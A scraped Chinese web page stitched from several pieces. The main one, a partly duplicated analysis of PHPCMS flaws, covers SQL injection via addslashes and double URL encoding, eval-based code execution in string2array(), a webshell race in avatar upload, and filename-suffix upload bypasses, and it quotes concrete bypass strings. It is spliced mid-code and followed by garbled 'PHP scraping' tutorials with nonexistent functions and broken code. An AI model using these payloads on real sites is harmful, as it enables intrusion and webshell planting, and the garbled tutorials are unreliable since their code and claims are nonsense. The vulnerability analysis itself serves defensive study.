從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
phpdb=newdb(你的數據庫名)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2022-06-09 16:20
php抓取網(wǎng)頁(yè)數據插入數據庫這里簡(jiǎn)單說(shuō)下php抓取網(wǎng)頁(yè)數據的流程(php抓取百度站長(cháng)平臺官方html),抓取html返回給php處理后,由php解析并返回給php;回到數據庫操作,對應到代碼,就是:$goal=['load_html','html_header','tag','srt','db'];//賦值數據庫$db=newdb('你的數據庫名');$goal=$db->load_html($goal,'html_header','tag','srt','db');這里數據庫的注意點(diǎn)和一些概念:php利用一個(gè)叫::,函數可以自定義幾個(gè)表引用上去,而這幾個(gè)表是全部以數組的形式存放,在php處理text方法輸出的時(shí)候,這些數組同時(shí)輸出到數據庫中;這里需要注意一下“::”,在php中,沒(méi)有這個(gè)函數,如果我們覺(jué)得一定要把php寫(xiě)成這個(gè)樣子,那可以用array_concat('','db','username')來(lái)代替;$ctx_file='我的數據庫';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//寫(xiě)操作,結果可以看到,我們在下面的文章中所有的file結果都是eval寫(xiě)的;要想成功的寫(xiě)一個(gè)file,一個(gè)定義在::的函數必須要寫(xiě)在$file。
func();那么再來(lái)看:你的sql語(yǔ)句中的username是一個(gè)char型的字符串類(lèi)型(不是a-z任何一個(gè)字符串)$admin_conns=$username->encode('utf-8')。'';對應的:$admin_conns["admin_username"]='';//結果$admin_conns["default_admin_username"]='';//結果現在我們就能把sql語(yǔ)句中的username改成username了;為了全局化的寫(xiě)text,我們用“::”提取出來(lái)的$admin_text這個(gè)函數,但是這樣在全局中是變量名,因為php的數據庫里不是string類(lèi)型的字符串,而是字符串類(lèi)型的數據,因此$admin_text是null;沒(méi)有auto_increment,所以我們需要用$triangle_name_annotator()函數對數組進(jìn)行不斷重寫(xiě),才能保證數組的不斷增長(cháng),才能達到goal的效果;這里要用到全局語(yǔ)句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不斷迭代,直到滿(mǎn)足或者超過(guò)全局不斷增長(cháng)的要求};$triangle_name_annotator=["v1","v2"];這里,我們需要把字符串數組存入到一個(gè)類(lèi)型為string的變量中,也就是$goal_array,然后變量名定。 查看全部
phpdb=newdb(你的數據庫名)
php抓取網(wǎng)頁(yè)數據插入數據庫這里簡(jiǎn)單說(shuō)下php抓取網(wǎng)頁(yè)數據的流程(php抓取百度站長(cháng)平臺官方html),抓取html返回給php處理后,由php解析并返回給php;回到數據庫操作,對應到代碼,就是:$goal=['load_html','html_header','tag','srt','db'];//賦值數據庫$db=newdb('你的數據庫名');$goal=$db->load_html($goal,'html_header','tag','srt','db');這里數據庫的注意點(diǎn)和一些概念:php利用一個(gè)叫::,函數可以自定義幾個(gè)表引用上去,而這幾個(gè)表是全部以數組的形式存放,在php處理text方法輸出的時(shí)候,這些數組同時(shí)輸出到數據庫中;這里需要注意一下“::”,在php中,沒(méi)有這個(gè)函數,如果我們覺(jué)得一定要把php寫(xiě)成這個(gè)樣子,那可以用array_concat('','db','username')來(lái)代替;$ctx_file='我的數據庫';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//寫(xiě)操作,結果可以看到,我們在下面的文章中所有的file結果都是eval寫(xiě)的;要想成功的寫(xiě)一個(gè)file,一個(gè)定義在::的函數必須要寫(xiě)在$file。
func();那么再來(lái)看:你的sql語(yǔ)句中的username是一個(gè)char型的字符串類(lèi)型(不是a-z任何一個(gè)字符串)$admin_conns=$username->encode('utf-8')。'';對應的:$admin_conns["admin_username"]='';//結果$admin_conns["default_admin_username"]='';//結果現在我們就能把sql語(yǔ)句中的username改成username了;為了全局化的寫(xiě)text,我們用“::”提取出來(lái)的$admin_text這個(gè)函數,但是這樣在全局中是變量名,因為php的數據庫里不是string類(lèi)型的字符串,而是字符串類(lèi)型的數據,因此$admin_text是null;沒(méi)有auto_increment,所以我們需要用$triangle_name_annotator()函數對數組進(jìn)行不斷重寫(xiě),才能保證數組的不斷增長(cháng),才能達到goal的效果;這里要用到全局語(yǔ)句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不斷迭代,直到滿(mǎn)足或者超過(guò)全局不斷增長(cháng)的要求};$triangle_name_annotator=["v1","v2"];這里,我們需要把字符串數組存入到一個(gè)類(lèi)型為string的變量中,也就是$goal_array,然后變量名定。
awesome-phpphp抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2022-06-03 07:02
php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作。網(wǎng)上非常多開(kāi)源代碼,但是你要明白網(wǎng)上大部分開(kāi)源代碼在github上的地址都是,需要科學(xué)上網(wǎng),就像商場(chǎng)說(shuō)國外有,你得翻墻去看看。個(gè)人覺(jué)得使用awesome-php這個(gè)項目里的代碼比網(wǎng)上那些開(kāi)源代碼更簡(jiǎn)單些。簡(jiǎn)單的說(shuō),你首先得有一個(gè)項目的目錄,然后百度github關(guān)鍵字php抓取網(wǎng)頁(yè)數據插入數據庫并執行excel操作...找到爬蟲(chóng)爬取的鏈接,把這個(gè)目錄拷貝到項目目錄下。
項目目錄下繼續找awesome-php的項目,我就用github自帶的爬蟲(chóng)解析工具解析了一遍了...解析出這個(gè)目錄下的項目文件。最后準備數據庫。寫(xiě)爬蟲(chóng),這個(gè)不再贅述,就按照php的架構去寫(xiě)。然后用excel執行excel。這個(gè)解析工具叫excel_slr,放到目錄里就可以工作了。其他也是跟著(zhù)php的爬蟲(chóng)腳本手把手修改再爬,慢慢摸索一下。
其實(shí),數據庫就是一個(gè)字符串與字符串的映射關(guān)系,涉及到一個(gè)字符串操作,網(wǎng)上代碼實(shí)現太多了,有興趣可以搜下。最終你只需要一個(gè).xlsx格式的數據庫文件就可以執行數據庫查詢(xún)并excel操作了。最后把你的爬蟲(chóng)腳本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目錄下執行就可以了。
